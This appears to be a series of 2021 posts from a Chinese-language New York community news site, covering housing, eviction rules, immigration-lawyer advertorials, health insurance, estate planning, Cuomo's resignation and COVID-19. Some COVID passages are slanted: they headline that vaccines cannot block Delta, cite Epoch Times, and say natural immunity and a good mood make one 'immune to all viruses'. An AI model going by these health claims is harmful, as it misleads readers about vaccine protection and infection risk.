还有一问题也要留意,在老房子里面可能有含铅油漆(Lead Paint)的危险,美国在1979年以后就禁止房屋使用,因为这是有毒的油漆。验房师会用测试笔涂在墙壁的油漆上,如果涂抹处变成粉红色,代表这是含铅油漆,油漆剥落、风化对人体有害。所以,1979年以前兴建的房子都要特别注意油漆问题。

纽约买新房需要验房吗?

在买新房中,最后也要留意验房,尤其现在房市火热,建商都在赶工建新房,质量把关就容易掉螺丝,所以交屋时务必也要找验房师来检查,不要以为新房什么都是新的,所以没问题,那就吃亏了。在外行人眼里一切可能都很新颖,但在验房师的法眼下,建商就不能轻松过关,也就帮助买家日后住在新家更舒服、更安心。

本次验房话题就先谈到这里,这个区块非常庞杂,面对不同房型、不同建材、不同地区,都会有不一样的检验方式和问题,笔者只能抓住几个要点跟大家分享,希望大家在买房中都能受到保障,不是花钱受罪。

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2021-08-20 / by / in , , , , , , ,
最高法院解除驱逐禁令 纽约房东开始驱赶“老赖租霸”

上周四(8月12日),美国最高法院以6:3做出裁决,解除了纽约州的驱逐禁令。纽约的一些房东开始驱逐不付租金的“老赖租霸”。

在此之前,因受疫情的关系,纽约缴不起房租的房客一再获得驱逐禁令保护要求,纽约房东不可以合法驱逐房客。

根据高院的裁决,房东现在可以立即提起诉讼驱逐房客,尽管从发出通知到执行驱逐需要两周时间。

8月12日,美国最高法院以六票对三票做出裁决,解除了纽约州的驱逐禁令。

“纽约小房东”组织创始人何德邻表示,这个高法的判决对纽约的房东是一个大胜利,“我知道的情况是,已经有法庭判决书的房东都在要求法警来执行驱赶。”

有律师介绍,房东可以从房客没有支付租金的第一天起追讨租金,但租约到期和租约没到期则分为两种情况。

纽约律师刘芳表示:“租约到期的房客就是房东一旦起诉了他以后,房客不仅要把之前拖欠的所有房租钱付清,如果说不付清的话,会有一个裁决书在那边,影响他的信用纪录、买房做生意都会有一个纪录。即便是他把钱付清了,房东还是可以说不租给他,请他离开。”

最高法院的裁决并不意味着房东与房客之间的问题将会顺利解决。这可能会是一个很长的一个过程,因为法院面临了大量积压的案件,同时驱逐案件一般都会花费六至八个月才能真正让租客搬离,因此就算逼迁禁令今天就到期,租客们也不会在短时间内被迫搬离住所。

即将继任纽约州长的副州长霍楚(Kathy Hochul)对此表示,她将尽快与州议会商讨解决,纽约房东与房客之间的棘手的问题,但结果还是未知数。

另外,纽约州为房东提供了租金补助计划,最多可获得补助一年的租金。

网址:https://otda.ny.gov/programs/emergency-rental-assistance/#apply

电话:844-691-7368

2021-08-20 / by / in , , ,
找律师重开案,有递解令在身如何获得十年绿卡?

找律师重开案,有递解令在身如何获得十年绿卡?

案件重開  身負遞解令者將獲合法身分

資深律師談庇護移民新趨勢

前任政府收緊移民政策,加上世界大瘟疫的持續流行,以及本就不堪重負的美國移民系統壓力,導致許多案件嚴重積壓,停滯不前。不過,隨著移民法庭開放面對面辦公,以及部分移民行政令出台,紐約資深移民律師羅曼(Meer Rahman)表示,這讓一些案件看到新的曙光。

【案例】

A先生,來美20多年,有遞解令在身,太太也沒有身分,二人育有三個孩子,都在美國出生,均在15以下。根據今年最近的聯邦法庭判例,如果當事人收到的NTA(Notice to Appear,指控文件 )沒有寫明上庭時間、日期,,可在上訴法庭提出重新開案。因為A先生的NTA正符合此項,加上又符合10年綠卡申請條件,如果在移民上訴委員會(BIA)獲得重新開案,可向移民法官遞交10年綠卡申請。結果羅曼律師樓使他的案件獲得重新打開,目前等待開庭。一旦開庭將有很大機會翻轉遞解命運,獲得合法身分。

【分析】

     1.本案重點是獲得重新開案,也是最難的一步,成功開案意味著有獲得10年綠卡調整身分的機會。這一機會在前任政府被關閉,今年得以重新恢復。

  1. 重開案件需要足夠充分的材料,羅曼律師為他掉出20多年來所有原始檔案,幫助準備重開案件。

  2. 本人須來美10年以上,無任何犯罪機率,有良好的報紀錄,有美國公民或持綠卡的配偶或子女,證明離美會對其造成傷害,符合獲得10年綠卡條件。

**新司法部長推翻禁令  重新開案有望

前任政府曾一度收緊移民政策,下令禁止移民法官暫時擱置移民案件或驅逐令的審查,要求移民法官全面、連續不斷地對相關案件當事人實施驅逐程序或給予留美判決。7月15日,新任司法部長加蘭德推翻這一禁令,讓移民法官可決定「將某些優先程度低的案件從審查排程中刪除,並專注於優先程度高的案件。」

資深移民律師羅曼(Meer Rahman)分析表示,此舉使移民官恢復了一定的自由裁量權,意味著對於某些未決的案件「可以重新打開案件,做出新的決定。」對一些非緊急案件或可以進行「行政關閉(非撤銷)」,這對一些前景黯淡的積壓案件來說,可謂是一個新的希望。尤其對一些因庇護被拒而進入驅逐程序的人來說,將有機會反轉案情。比如在待決期間和持綠卡或公民結婚的人可關閉原先案件,另開新案,獲得新的移民途徑。

羅曼律師同時也提醒,如果收到移民法庭的遞解令,千萬不要坐以待斃。「要採取行動,要上訴。」他說,首先在30天內上訴給移民法庭,即便被駁回也不要止步,還可以再上訴到上訴法院(聯邦巡迴法院),在聯邦之下有11個巡迴法院,無論到哪個法院都要爭取不放棄。「就算被駁回,都行不通,還是有方法,甚至可以讓最高法院來裁決。」

羅曼律師樓

羅曼(Meer Rahman)律師早年留學歐洲,擁有公共管理碩士學位,並在美國紐約取得法律博士學位,深諳美國律法,擁有豐富的法庭上訴經驗,喜歡挑戰,主要客戶是華人;曾為美國46個不同城市的中國移民提供服務,深得尊重與信任。代理的各種移民疑難案件,多成功反轉案情,使客戶免遭遞解並獲得合法身分。
羅曼律師樓代理全美移民案件,包括政庇、上訴、開案、催辦綠卡等,也代理各種家事刑事法庭案件,包括婚姻、孩子撫養、家暴、保護令申請等。

曼哈頓地址
305 Broadway,Suite610,NY 10007(百老匯305號6樓)

電話:(212)732-2220(中英文)–

2021-08-19 / by / in
不是来自中国大陆的华人,能不能办理庇护申请?

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不是来自中国大陆的华人,能不能办理庇护申请?

庇護範圍擴大  增加獲批希望

資深律師談庇護移民新趨勢

一些居住在美國的華人,包括來自印尼、馬來西亞的華人,來美多年一直無法獲得身分,生活處於掙扎之中。他們很多人認為,隨著來美時間的增加,獲得身分的難度也會增加,因而放棄了尋求庇護的機會。其實不然,羅曼律師樓幫助很多類似的華人獲得了合法身分。

【案例】

馬來西亞公民C,來美18年,夫妻二人都沒有身分,居住在羅德島。多年來,他們以為自己沒有理由在美獲得合法身分,因此一直沒有工作許可(工卡)。但在羅曼律師樓的幫助下,憑藉充分合法的理由,嘗試政治庇護以及10年綠卡申請,結果上庭後政治庇護獲得批准,目前已經成為美國公民。

【分析】

1.因政治觀點、宗教信仰、某些言論受到歧視國家的移民,即便不是來自共產國家也可以申請庇護。

2.辦理移民身分有很多途徑。資深律師會分析顧客的各種條件,考慮在上庭時提出多種申請,以期增加成功的可能性。

3.本案表明,來美已超過一年者,也可以根據自己的條件,嘗試提出庇護申請。

**庇護範圍擴大  獲批機會增加

今年6月份,司法部撤销了前政府的两项裁决,认为这些裁决严重限制家庭暴力和帮派暴力受害者的庇护保护。紐約資深移民律師羅曼(Meer Rahman)表示,這對一些先前提交庇護案件,但在前政府時代收緊的政策下看不到希望的當事人來說是個利好消息。

他舉例說,一些隸屬於某個宗教團體的人,或教育權利受壓迫的婦女,以及受到不公對待卻得不到政府伸張正義的非營利組織成員等,現在符合申請庇護的條件。

「有的國家不想控制一些叛亂團體,或政府管不了,那些被迫繳納不合理費用,或被迫加入某個組織、受到各種壓迫的人,也可以提出庇護申請。」羅曼律師表示,在一些案件中,他已經為「受到威脅的媒體工作者」,「被視為特定團體的成員」贏得了官司。

他說,那些在自己的國家曾受到暴力對待、已經處於等待的案件,其實是符合庇護標準的,只要案件真實就有希望獲得批准。但他同時也提醒「不要作假,只有真實的案件才會得到保護。」

羅曼律師樓表示,即使遭遇失敗也不要灰心失望。尤其遇到新移民法官出庭,這些移民法官可能因為經驗不足,出現對律法的誤解甚至誤判,需要經驗豐富的資深律師據理力爭,憑藉有力證據,幫助翻轉案情。

羅曼律師樓

羅曼(Meer Rahman)律師早年留學歐洲,擁有公共管理碩士學位,並在美國紐約取得法律博士學位,深諳美國律法,擁有豐富的法庭上訴經驗,喜歡挑戰,主要客戶是華人;曾為美國46個不同城市的中國移民提供服務,深得尊重與信任。代理的各種移民疑難案件,多成功反轉案情,使客戶免遭遞解並獲得合法身分。
羅曼律師樓代理全美移民案件,包括政庇、上訴、開案、催辦綠卡等,也代理各種家事刑事法庭案件,包括婚姻、孩子撫養、家暴、保護令申請等。

曼哈頓地址
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2021-08-18 / by / in
Delta病毒症状有哪些?与Covid原始病毒不一样

最早在印度发现的Covid变种病毒Delta(又称为B.1.617.2),已经在世界一百多个国家传播。世界卫生组织称Delta变种是目前为止发现的变种中,最具传染性的病毒。根据美国疾病控制与预防中心CDC跟踪数据显示,目前,美国有52个州被定义为是“高传播”(high transmission)地区。新病例中,预计感染Delta病毒的比例超过90%。在纽约州,从7月初到8月初的四周时间,Delta变种病毒病例占阳性测序病例的83%。

那么,如何知道自己有没有感染Delta病毒?感染Delta变种病毒,会出现怎样的症状呢?

感染Delta病毒的症状是什么

英国的应用软件ZOE COVID Study根据英国的病例情况,列出了感染Delta变种病毒的常见症状:

  • 头痛
  • 咽喉痛
  • 流鼻涕
  • 发烧
  • 持续咳嗽

ZOE COVID 症状研究 (ZOE COVID Symptom Study) 是英国的一款手机应用软件。用户可以通过这款应用上传自己的感染情况并输入症状,用来帮助正在进行的科学研究。英国自今年5月以来的这波疫情中,99%病例都是感染了Delta变种病毒 。

英国伦敦国王学院遗传流行病学教授、ZOE COVID 症状研究的联合创始人 Tim Spector 医学博士表示,感染Delta 变种病毒的症状表现与 COVID-19的常见表现有所不同。与之前的Alpha变种表现的症状也不一样,感染Delta变种病毒后的最常见的就症状是头痛。

美国德克萨斯理工大学健康科学中心的副教授Doctor Todd Bell博士在接受福克斯采访时表示,发烧和咳嗽在这两种变种病毒中都存在,但头痛、鼻窦充血、喉咙痛、流鼻涕和打喷嚏似乎更常见于 Delta 病毒株。而原始病毒的标志性症状,味觉和嗅觉的丧失,在变种病毒中却很少见。

感染Delta变种病毒后出现的症状和重感冒及呼吸道过敏症状非常相似。初期的时候自己很难辨别。因此,专家建议,如果最近正好参加过群体性活动或接触过确诊患者的,假如出现头痛症状,最好能够去做一下测试,越早越好。这样万一确诊的话可以早隔离,以免再传染给亲人或朋友同事。如果能够排除的话,自己也比较放心了。

因为Delta病毒一旦感染到人身上之后,病毒载量可以超过阿尔法好多倍,有资料显示达到1,000倍。病毒聚集在鼻腔等上呼吸道系统,传播速度非常快。

美国/纽约Delta病毒

根据美国疾病控制与预防中心CDC跟踪数据显示,美国目前有52个州被定义为是“高传播”(high transmission)地区。新病例中,估计感染Delta病毒的超过90%。纽约州、纽约市均被列为高传播地区。

美国CDC对高传播区的定义为:在过去7天内,每10万居民有超过100例感染病例或者测试阳性率大于10%。根据过去7天的数据,全美目前每10万居民中有270.6个感染病例,阳性测出率为10.57%。纽约州的每10万感染病例为155.5,纽约市为175.1。

 

在纽约州,从7月初到8月初的四周时间,Delta变种病毒病例占阳性测序病例的83%。

根据美国疾病控制中心信息显示,Covid病例目前在美国各地显示出快速回升的趋势。主要原因是Delta变种病毒具快速传播能力,即使接种疫苗也无法避免被感染的风险。最近几日,美国平均单日新增染疫病例数已连续多日超过10万例,是2月份以来的最高值。

多家媒体报道,美国疾控中心CDC一份内部文件显示,Delta像水痘一样容易传播。完成接种疫苗可能与未接种者具有相同的传播病毒的速度。

因此,大家在做好适当防护的情况下,保持良好积极的心态、与人为善,提升人体的天然免疫力尤为重要,这样才能“百毒不侵”,扛过一波又一波的疫情。祝愿您和您的家人安全、健康。

2021-08-18 / by / in , ,
在美国纽约怎样选择医疗保险| 保险种类 家庭医生 医疗费用计算 支付比例

美国的医疗保险计划名目繁多,可供选择的计划多达千种。在纽约的新移民,怎样来选择一份适合自己的医疗保险呢?

美国医疗保险分类

从分类来讲,美国的医疗保险可以分为:团体保险和个人保险。

团体医疗保险,包括:

  • 学生医疗保险;
  • 雇员医疗保险。

由学校或公司统一办理。

个人医疗保险又可分为:政府资助和商业保险两种。

政府资助的医疗保险项目包括:

  • 65岁以上的红蓝卡Medicare;
  • 低收入人士的白卡 Medicaid;
  • 平价医疗ACA (Affordable Care Act): 比如纽约州的合格健康计划(Qualified Health Plan)。

个人商业医疗保险是由各医疗保险公司推出的各类保险计划,品种非常多。 

医疗保险计划比较

 

美国商业医疗保险可分为HMO, PPO, EPO等几大系统,它们各有什么不同呢?

健康维护组织HMO(Health Maintenance Organization)是最便宜的健康保险之一。要支付的保险费,自付额(Deductible)和共保额(Co-insurance)都比较低。如果选择HMO健康保险,要看医生的时候,只能选择规定的网内医生,看病先要预约家庭医生PCP(Primary Care Physician),看专科医生,需要家庭医生转诊 referral。

定点服务组织POS (Point of Service)与HMO一样,在看专家医生前需要家庭医生开出转诊单。POS的保险费用略高于HMO,好处是可选网络外医生,不过费用会高于网络内医生。如果你需要选择网络外医生的时候,POS是一种选项。

优选医疗组织保险计划PPO (Preferred Provider Organization), 保险费用要高于HMO,但可选的医院和医生范围更广,个人最高应付额(Out-of-pocket limit)较低。假如选择的PPO自付额(Deductible)和共保额(Co-insurance)都比较低,保险额就较高。好处是可以选择任何医生,看专科医生无需转诊。

指定医疗服务EPO( Exclusive Provider Organization)也只能选择网络内医生,但网络覆盖面比HMO大,如果需要看专科医生,有的EPO需要家庭医生转诊,也有不需要的。EPO的保险费用高于HMO,但低于PPO。

按服务收费FFS (Fee For Service),是所有医疗保险中保费最昂贵,个人最高应付额最高的。好处是可以自由选择任何医院和医生,无需家庭医生转诊。

 

是否有了医疗保险就什么病都能看了呢?还不一定,比如眼科和牙科的医疗保险是需要另外购买的。除此之外,还有一些特定类型的医疗保险,比如癌症保险、重大疾病保险等。

医疗保险术语

 

看懂美国医疗保险的这些术语,对于您选择合适的保险很重要。

  • 保险费Premium:

定期向保险公司支付的医疗保险费用。

  • 年度自付额Annual Deductible

每个保险年度您个人自付的费用。也就是说,看医生时必须首先自己支付一定数额的医疗费用,比如一个计划的Deductible是1500美元。那么,每年自己先支付1500美元以后,保险公司才开始报销此后发生的医疗费用。到下一年,再重新计费。

  • 最高自付额Max out-of-Pocket

被保险人在每个保险年度需要分担的医疗费用的最高额度。在支出超出这个额度后,保险公司将100%承担以后的承保费用内的医疗费用。

比如,一个保险计划Max out-of-Pocket是$5000。那么这个保险计划一年中自己支付部分满$5000之后,保险公司会承担100%承保内的医疗费用。

  • 最高保险支付额 Maximum Plan Limit

指保险公司支付给你的一年或者整个医疗费用最高金额,具体要看保险计划的规定。举例说,一份保险计划最高支付给个人所有医疗费用金额不超过一百万美元。

  • 手续费 Co-pay

类似挂号费,每次看病都要付,一般家庭医生20美元,专科医生50美元。

  • 共同保险Co-insurance

在年度自付额满了之后,需要支付的医疗费用比例。(比如个人支付20%,不同的保险计划支付比例都不一样)

比如一年中看医生自己付满了$1500自付额deductible之后。再看医生一共花费$200,自己就支付$40,保险公司支付余下的$160。

  • 住院Inpatient

就是在医院治疗超过24小时以上的住院服务,保险公司会报销50%到100%不等,

  • 门诊Outpatient

在医院治疗少于24小时。

  • 网络内和非网络内的医疗服务 In-network & Out-of-network

有些医疗保险限制只能选择网络内的医疗保健单位。选择网络外的医疗保险费用就很贵了,自费比例也会高。

一般来讲,保费较高的医疗保险计划,自己支付部分较低,医疗网络选择更多。所以,大家可以根据自己的情况选择一份合适的健康保险。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

 

2021-08-17 / by / in , ,
法拉盛免费合法摆摊! 商改区9月起推出户外淘宝市场

本周五(8月13日),法拉盛商业改进区(Flushing BID)宣布,从9月初开始,将在罗斯福大道(Rossevelt Ave.)与39大道之间的Lippmann广场推出户外淘宝市场,每周五免费举办一次,在商改区范围内有营业执照的商家可申请摆摊。

法拉盛商改区共同主席庄振辉表示,受新冠疫情的影响,法拉盛许多小商家经营严重受损,虽然市府为扶助小商家推出了户外用餐、户外零售的政策,但仍有不少小商家难以受惠。为此商改区与纽约市交通局合作,从9月份开始,推出法拉盛“户外淘宝市场”,便利法拉盛的小商家在固定的户外地点摆摊,促进经营。

介绍单张。(法拉盛商改区提供 )

法拉盛商改区向市交通局申请在Lippmann Plaza广场划出的“淘宝市场”,这是合法摆摊,是帮助那些艰苦硬撑的实体小商家拓展商机的途径。

商改区执行主任余钿崧说,“淘宝市场”每周五举办一次,每期设摊位7∼8个,摊位的长宽均为10呎,免费提供给位于商改区范围内的小商家进行户外摆摊经营,帮助他们提振生意。

户外淘宝市场也欢迎艺术机构或个人报名参与,商改区提供表演场地进行现场演出,带动人潮,促进社区经济早日恢复。

法拉盛商改区“户外淘宝市场”位于39大道与罗斯福大道的Lippmann Plaza。(法拉盛商改区提供)

本次报名只限本地有营业执照的零售商家,并不包括无证摊贩,商家将按报名先后,轮流摆摊,商改区也会每期安排不同类型的商家参与。

有意报名的商家,可致电法拉盛商改区(718-888-1805),或电邮至info@flushingbid.com,或发简讯至347-603-3633,或添加法拉盛商改区微信号FlushingBid了解详情。

2021-08-14 / by / in , , ,
移民局新政:申请绿卡时 可同步申请社会安全号SSN

本周一(8月9日),美国移民局(USCIS)宣布, 现在申请合法永久居民身份(lawful permanent resident status)的申请人,可以同时申请社会安全号(SSN)或申请更换社安卡,作为调整身份程序的一部分。

以前这些申请人需要到社安局办事处(Social Security office)申请社安号或申请更换社安卡。移民局修订了I-485表(申请绿卡或调整身份的表格),在上面增加申请社安号或更换社安卡的问题。

这是移民局与社安局之间资源共享,加强双方合作的体现,是一项方便民众的举措。

美国移民局局长Ur M. Jaddou说:“我们扩大了与社会安全局的合作,说明我们致力于更有效地运作美国的移民系统,以节省申请人的时间。消除不必要的官僚主义,并优化公共服务机构之间的合作,是本机构和拜登政府的一个关键优先事项。”

一般情况下,美国移民局批准I-485表后,会以电子方式将数据传输给社会安全局。社会安全局收到数据后,将根据情况自动分配一个原始的SSN或发放一个替代卡。

在增加了这一功能后,I-485的申请费用并没有增加。

I-485表的这一变化已经开始生效。全美每年约有57.6万人提交I-485申请。

 

2021-08-13 / by / in , , , ,
怎样把美国的房产传给孩子 | 纽约继承房产 纽约遗产税 赠予税 纽约生前信托 QPRT

中国人的家庭观念都很强,自己有什么好的东西,都想将来都留给孩子。无论您在美国拥有舒适的度假小屋、富丽堂皇的庄园还是精致的公寓,如果想要传给自己的子女,那么就会牵扯到许多税务的问题。要根据每个家庭的不同情况而制定具体方案,才能达到省税的最佳效果。

把房产传承给子女的三种方式

在美国把房产传承给子女一般有三种方式:生前赠予、过世的时候让孩子继承以及设立生前信托。

一、生前赠予

1.买房时只写子女的名字

买房时直接写子女名字,这样不牵涉遗产税和赠予税的问题。缺点是当其子女将来出售房产时,可能需要付出庞大的资产增值税。如果是出租产业而不是自主居住,则全部的资产增值都要缴税。

如果自己的子女是18岁以下的未成年人,无权签署法律文件,只能由父母或监护人代为办理,手续比较繁琐。

2.将房产过户给子女

这种方式相对多见。购房时只写父母的名字然后过户给子女,也就是转让。无偿转让的优点是费用低,没有交易税。

如果是贷款买的房子,贷款还清之前房子的所有权仍然属于银行。若银行同意是可以转让给子女的。值得注意的是所欠款项既跟着人走也跟着房子走。被赠予方只要卖房子还是要偿还欠款的,不然房产的产权就会遇到麻烦。

二、继承

设立遗嘱,根据遗嘱的安排,由孩子来继承房产,这是一种比较常见的情形。

有遗嘱的继承房产,手续较为简单,也可以节省很多的费用。

如果一个人离世的时候,没有立下遗嘱,那么他名下的房产以及所有的财产是由法院来进行分配的。

法院指定一个遗产管理的执行人,然后这个遗产执行人,会根据法律的规定,在这个离世的人的继承人之间进行资产的分配。

这个法律程序耗费的时间会比较长。同时也比较贵,法庭相关的费用可能会达到总资产的百分之十左右。

在2018年税改后,赠予税与遗产税法规定,美国公民或绿卡持有者的资产不论在那个国家全部会受到管制。每个人终生总免赠予或遗产税为1120万美元,夫妻双方则为2240万的免税额。一般美国民众资产达不到这个数额,不用担心将来缴纳赠予或遗产税。

所以不管是生前赠予,还是过世的时候让孩子来继承,他可能要报赠予税或遗产税,但是并不需要真正的去缴纳赠予税或者遗产税。

从这个角度上来讲,生前赠予和过世的时候让孩子继承,并没有太大的税务上的区别

外国人在美国的有形资产,如房地产,赠予税则只有6万美元的免税额。

三、设立生前信托

设立生前信托(Living Trust)也是一个非常好的把房产传承给子女的方式。

生前信托,是一种常见的,可部分替代遗嘱的书面法律文件,可以让委托人在过世后将财产分配给指定的受益人。

设立生前信托后,委托人可将个人的房产以及其它的财产,如银行账户、珠宝、股票、人寿保单等交付给信托,由受托人为您管理这些资产,并在委托人去世后转让给受益人。

大多数委托人会指定自己为管理信托资产的受托人,这样就可以在有生之年继续控制自己的房产和其它财产。

信托委托人在过世以后,这个房产就自动的成为这个信托指定的那个受益人的房产,同时也避免遗嘱认证。

信托有好多种,最常见的是一种个人住宅信托(Qualified-personal-residence trust QPRT)。这是一种特定类型的不可撤销信托,允许其创建者从其遗产中移除个人住宅,以减少将房产转移给受益人时产生的赠予税。如果房产价值超过1000多万,比较建议采取这种方法。

如果父母是中国的身份,想在美国买房送给子女,是不是要交赠予税?

在中国的父母就是没有美国身份的父母,如果想要把在美国的房产赠送给孩子,就会面临高额的赠予税问题。因为赠送的房产是美国资产,他自己的终身免税额只有六万美元,所以这个房产一赠送,可能就要交很大的一笔赠予税。

如何避免让子女的配偶,在离婚以后拥有父母赠与的房产?

夫妻如果因为什么不幸的原因要离婚的时候,那么婚姻内的家庭财产会进行一个分割。这个财产的一部分是夫妻双方各自持有的个人资产,还有一种就是夫妻双方持有的共同财产。

如果这个房产,是父母在孩子结婚之前就送给孩子的,这个是属于孩子的婚前财产,一般情况下都是受法律保护,那另一半的配偶是拿不到的。

如果孩子已经结婚了,父母想送房子给孩子,又有这方面的担心的话,那么在赠送的时候就要写好一个赠予协议,明确的讲这个房子是我送给孩子的,不是给他家庭的。这样的情况下,这个房产也是受法律保护的。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的律师。

 

2021-08-11 / by / in , , ,
陷性骚扰丑闻库默辞职 霍楚成纽约233年来首位女州长

本周二(8月10日),深陷性骚扰丑闻的纽约州长库默(Andrew Cuomo ),宣布辞去州长职务,在两周后生效。 62岁的纽约州副州长凯西·霍楚(Kathy Hochul)将接任为纽约州长,成为纽约州233年以来首位女性州长。

上周,纽约州总检察长詹乐霞(Letitia James)的办公室发布一份重磅报告,指控库默对11名女性进行性骚扰。詹乐霞表示:“独立调查的结论是,州长库默性骚扰多名女性,这违反联邦和州法律。”

库默虽然宣布辞职,但仍然坚持否认他有任何不当行为,他表示,州议会推动的弹劾程序将消耗政府资源,引发数个月的政治和法律争议,使纳税人损失数百万美元,“浪费精力在分心的事物上,是政府最不应该做的事情;但我不能成为造成这种情况的原因⋯⋯我想,在这种情况下,我现在能帮上忙的最好办法就是让位,让政府重整旗鼓,这就是我要做的。”

在库默宣布辞职后,纽约市长白思豪发声明,称赞站出来对抗库默的女性。

美国众议院共和党大会主席斯特芬妮克(Elise Stefanik)表示,库默早就该辞职了。她还认为,库默应该因其犯下的性骚扰罪及隐瞒纽约州养老院大量老人死亡的消息的罪行,被逮捕并起诉。

白宫则表示,库默辞职是拜登总统倡导的结果。

纽约州总检察长詹乐霞表示:“感谢州长库默对纽约州的贡献,副州长霍楚接任州长后,将帮助纽约进入新的一天,我们必须巩固现有的成绩,改善纽约人民生活⋯⋯期待与霍楚继续合作。”

根据法律,62岁的副州长凯西·霍楚(Kathy Hochul)将接任库默的职位,完成剩下的任期,她将是纽约州的首位女性州长。

霍楚在一条推文中说:“我同意库默州长辞职的决定。这是符合纽约人最佳利益的正确之举。”她还说:“作为在所有政府层级担任过职务以及第一顺位继承人,我做好了出任第57任纽约州长的领导职务的准备。”

图为凯西·霍楚(Kathy Hochul)。拍摄于2019年4月25日。(flickr)

霍楚将于8月24日接任州长。霍楚于1958年8月27日出生, 2015年起担任副州长。她曾是一名律师和立法助理,2007年到2011年,她担任纽约州伊利郡(Erie County)的书记官(county clerk),2003年到2007年担任副书记官(deputy county clerk)。 2011年~2013年担任第26选区国会议员。

2021-08-11 / by / in , ,
为什么完全接种疫苗后 还会感染Delta病毒? 原因在这里

根据美国疾病控制中心 (CDC)8月6日的公告显示,Covid病例目前在美国各地显示出快速回升的趋势。主要原因是Delta变种病毒具快速传播能力,即使接种疫苗也无法避免被感染的风险。

根据CDC数据显示,今年6月底的7天动态每日平均感染人数曾平稳降至12,000例,到7月底这个数据已经上升到60,000例。8月份的前几日,染疫数据还在上升。

接种两剂疫苗仍被感染

美国麻州普罗温斯敦(Provincetown)7月份下半月爆发一波疫情,当地出现469例确证病例。

根据美国CDC的报告,469例感染病例中差不多有四分之三(74%)的人已经完全接种疫苗。这些患者已打完2剂辉瑞疫苗、莫德纳疫苗或1剂的强生疫苗超过14天。当地的疫苗接种覆盖率为69%。

在已接种疫苗的感染者中,79% 的人出现咳嗽、头痛、喉咙痛、肌肉疼痛和发烧等症状。在469例确诊病例中,89%的人感染的是Delta变种病毒;5名住院患者中有4名完全接种疫苗,但尚未有死亡病例。

(图片来源:CDC.gov))

CDC 检测了其中 133 名患者的样本,惊人地发现Delta变种病毒的载量是原始COVID-19 病毒的 1,000 倍。CDC的另外一项重要发现是,接种疫苗和未接种疫苗的人,体内携带的病毒水平相似。

另外,比较了代表传染力的Ct值(Ct  value= cycle threshold value)后发现,疫苗完全接种者的Ct值,与未接种、未完全接种或接种状态未知者的Ct值非常接近,分别为22.77和21.54。

Ct值,称为循环数阀值。是在实验室中,通过病毒核酸检测(PCR),检测病毒复制、放大的循环次数。Ct值越低,传染力越高。

(图片来源: CDC.gov)

这份研究的结果也与国外的疫情相符。以新加坡为例,近期高达75%的确诊患者,都发生在至少接种一剂疫苗的民众身上。

疫苗无法阻挡Delta变种病毒

据《纽约时报》报道,美国疾病控制中心(CDC)一份内部文件显示,Delta变种病毒具有更强的传染力,更高的重症率,并且像水痘一样容易传播。这份文件包含了一些尚未发表的数据,显示完全接种疫苗可能与未接种者具有相同的传播病毒的速度。

CDC主任瓦伦斯基(Rochelle Walensky)已确认该文件的真实性。她也向媒体表示,这是严重问题,变种病毒株Delta与麻疹、水痘都属所知最具传染性的病毒。

(图片来源:大纪元)

在看完CDC的内部简报档案后,哥伦比亚大学的流行病学教授杰弗瑞‧沙曼(Jeffrey Shaman)表示,如今接种疫苗的效果仅限于降低重症率,跟群体免疫已经无关。

马里兰大学医学院的疫苗专家凯萨琳‧纽齐尔(Kathleen Neuzil)则说,“我们的重点不该继续放在某个人的鼻子里有没有检测到病毒,而是转向预防重症,我们必须适应这个病毒可能永远不会消失”。

打疫苗无法预防感染,与病毒感染模式有关?

为何完全接种疫苗的人,依然会感染Delta变种?

《大纪元》健康1+1栏目解释,这是因为新冠病毒,主要藉由鼻子和喉咙等上呼吸道进到人体,造成感染。而Delta变种病毒传播力极高,会在鼻子和喉咙快速增殖、复制。

疫苗是被注射到肌肉中,诱导出的抗体大多是留在血液里。虽然有少部分抗体可能会进入鼻子,但数量不足以对付Delta病毒。

阿拉巴马大学伯明翰分校(The University of Alabama at Birmingham)的病毒免疫学家弗朗西斯•隆德(Frances Lund)直言,疫苗有效,“但他们不会给你那种黏膜免疫力”。

欧洲病毒学及传染病专家、生物技术公司首席科学家董宇红博士解释,黏膜上皮细胞产生的干扰素,能让上皮细胞处于一种强大、整体的抗病毒状态。这种天然的抗病毒力,不是依靠施打疫苗所能产生的。

鉴于目前的最新的情况分析,美国CDC建议在病毒感染风险高的地区,请民众在室内公共场所戴好口罩,完全接种疫苗者也是一样。

2021-08-10 / by / in ,
纽约“疫苗护照”引争议 国会议员玛丽奥组织集会抵制

纽约市长白思豪(Bill de Blasio)日前宣布,从9月13日起,纽约市将开始强制实施“纽约市通行证钥匙(Key to NYC Pass)”计划,即进入纽约市的餐馆堂食、到健身房健身、到演出场所看演出,须出示疫苗接种证明。这将是美国首个“疫苗护照”。

强制政策宣布后,引发部分市民的不满,认为政府“过度控制”,而且疫苗护照不利于保护公民隐私,存在欺诈隐患,还会造成公平和歧视等问题。

在纽约市,史坦顿岛是一个比较保守的行政区,该区部分居民8月5日宣布要告市长,6日又站出来集会,反对疫苗护照。参加集会的抗议者有打过疫苗的,也有没打过疫苗的。

活动组织者、国会众议员玛丽奥(Nicole Malliotakis)已经打了疫苗,而且她帮助过650位选民安排接种疫苗的时间。

她说,即便她作为打了疫苗的人,她也不愿意每天带着一个证明,让陌生人来看她的健康状况;她更反对强迫没打疫苗的人。

国会议员玛丽奥(Nicole Malliotakis)在史坦顿岛组织集会,抗议疫苗护照政策。(玛丽奥推特)

玛丽奥表示,“我们认为这是一种政府过度干预,这是政府控制问题,政府不应该对它的公民实施强制手段。”玛丽奥说,政府的工作是告诉社区疫苗的重要性,科学和事实是什么,而最终决定的人应该是市民自己,“而且,很多人有自体的免疫力,医生告诉他们说不用打疫苗。”

参加集会的民众质疑,CDC刚刚宣布,打疫苗的人也可以传染别人,那么为什么非要强制市民打疫苗呢?这本身就是“不科学的”,是“政府过度干预”;更有人干脆说,“这是想控制我们”,“根源是马克思主义”。

史坦顿岛的共和党市议员乔・博雷利(Joe Borelli)并非反疫苗人士,他在推特上转推《纽约时报》报导,指市府疫苗政策是针对接种率低的非裔与拉丁裔社区,他的这则推文,已经累积超过2,500个赞,1,100则转发,近200则留言,民众反响热烈。

博雷利在推文中表示,“市长白思豪宣布,69%的黑人、58%的拉丁裔和大多数布朗士居民没有资格在餐厅用餐或去健身房。”

